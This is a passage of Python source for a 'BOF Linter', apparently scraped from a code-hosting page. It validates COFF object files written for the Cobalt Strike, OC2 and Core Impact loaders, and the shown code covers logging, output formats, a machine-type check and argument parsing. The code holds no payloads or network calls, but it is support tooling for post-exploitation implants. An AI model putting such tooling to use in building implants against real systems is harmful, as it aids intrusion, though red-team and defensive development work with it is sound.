DEFAULT = "default" # Default format
|
||||
VS = "vs" # Visual Studio
|
||||
|
||||
class LoaderType(Enum):
|
||||
ANY = "any" # Any loader
|
||||
CS = "cs" # Cobalt Strike
|
||||
OC2 = "oc2" # OC2
|
||||
CI = "ci" # Core Impact
|
||||
|
||||
loader_type = LoaderType.ANY
|
||||
verbose_logging = False
|
||||
has_errors = False
|
||||
enable_colors = True
|
||||
log_format = LogFormat.DEFAULT
|
||||
input_file = ""
|
||||
|
||||
def log_message(level: LogLevel, message: str, dest: LogDestination = LogDestination.ALL):
|
||||
if not verbose_logging and level == LogLevel.INFO:
|
||||
return
|
||||
|
||||
# Skip messages not meant for current loader
|
||||
if dest != LogDestination.ALL:
|
||||
if loader_type == LoaderType.CS and not (dest & LogDestination.CS):
|
||||
return
|
||||
if loader_type == LoaderType.OC2 and not (dest & LogDestination.OC2):
|
||||
return
|
||||
if loader_type == LoaderType.CI and not (dest & LogDestination.CI):
|
||||
return
|
||||
|
||||
if level == LogLevel.ERROR:
|
||||
global has_errors
|
||||
has_errors = True
|
||||
|
||||
format = {
|
||||
LogFormat.DEFAULT: log_format_default,
|
||||
LogFormat.VS: log_format_vs,
|
||||
}
|
||||
|
||||
global log_format
|
||||
print(format[log_format](level, message, dest))
|
||||
|
||||
def log_format_default(level: LogLevel, message: str, dest: LogDestination):
|
||||
# ANSI color codes
|
||||
COLORS = {
|
||||
LogLevel.INFO: "", # default
|
||||
LogLevel.WARN: "\033[93m", # yellow
|
||||
LogLevel.ERROR: "\033[91m", # red
|
||||
}
|
||||
|
||||
global enable_colors
|
||||
RESET = "\033[0m" if enable_colors else ""
|
||||
COLOR = COLORS[level] if enable_colors else ""
|
||||
|
||||
prefix = {
|
||||
LogLevel.INFO: "INFO",
|
||||
LogLevel.WARN: "WARN",
|
||||
LogLevel.ERROR: "ERROR"
|
||||
}
|
||||
|
||||
destinations = format_destinations(dest)
|
||||
if dest == LogDestination.ALL:
|
||||
return f"{COLOR}[{prefix[level]}] {message}{RESET}"
|
||||
else:
|
||||
return f"{COLOR}[{prefix[level]}] {message}{RESET} [{destinations}]"
|
||||
|
||||
def log_format_vs(level: LogLevel, message: str, dest: LogDestination):
|
||||
global input_file
|
||||
bof_name = Path(input_file).name
|
||||
|
||||
prefix = {
|
||||
LogLevel.INFO: "",
|
||||
LogLevel.WARN: "warning",
|
||||
LogLevel.ERROR: "error"
|
||||
}
|
||||
|
||||
destinations = f" [{format_destinations(dest)}]" if dest != LogDestination.ALL else ""
|
||||
return f"{bof_name}: {prefix[level]} BOFLINT: {message}{destinations}"
|
||||
|
||||
def format_destinations(dest: LogDestination):
|
||||
# append the log destinations to a string, formatted like this [CS|OC2], properly checking it as an intflag, also properly expanding ALL to CS|OC2
|
||||
return "|".join([d.name for d in LogDestination if d & dest and d != LogDestination.ALL])
|
||||
|
||||
def is_valid_bof(filepath: str) -> bool:
|
||||
"""Quick check if file is a valid BOF by checking machine type."""
|
||||
try:
|
||||
with open(filepath, 'rb') as f:
|
||||
machine_data = f.read(2)
|
||||
if len(machine_data) < 2:
|
||||
return False
|
||||
|
||||
machine = struct.unpack("<H", machine_data)[0]
|
||||
return machine in (MACHINE_AMD64, MACHINE_X86)
|
||||
except:
|
||||
return False
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='BOF Linter - Validates COFF object files')
|
||||
parser.add_argument('file', help='Path to COFF object file')
|
||||
parser.add_argument('-v', '--verbose', action='store_true', help='Show INFO messages')
|
||||
parser.add_argument('--loader', choices=['cs', 'oc2', 'ci', 'any'], default='any',
|
||||
help='BOF loader type (cs=Cobalt Strike, oc2=OC2, ci=Core Impact, any=Any)')
|
||||
parser.add_argument('--nocolor', action='store_true', help='Disable color output')
|
||||
parser.add_argument('--logformat', choices=['default', 'vs'], default='default',
|
||||
help='Output format (default=Normal output, vs=Visual Studio diagnostic)')
|
||||
|
||||
args = parser.parse_args()
|
||||
global verbose_logging, loader_type, enable_colors, log_format, input_file
|
||||
verbose_logging = args.verbose
|
||||
loader_type = LoaderType(args.loader)
|
||||
enable_colors = not args.nocolor
|
||||
log_format = LogFormat(args.logformat)
|
||||
input_file = args.file
|
||||
|
||||
if not os.path.isfile(args.file):
|
||||
log_message(LogLevel.ERROR, "File does not exist")
|
||||
sys.exit(1)
|
||||
|
||||
if not is_valid_bof(args.file):
|
||||
log_message(LogLevel.ERROR, "Not a valid BOF COFF file (or unsupported machine type)")
|
||||
sys.exit(1)
|
||||
|
||||
coff = COFFObject.from_file(args.file)
|
||||
coff.lint()
|
||||
|
||||
if has_errors:
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user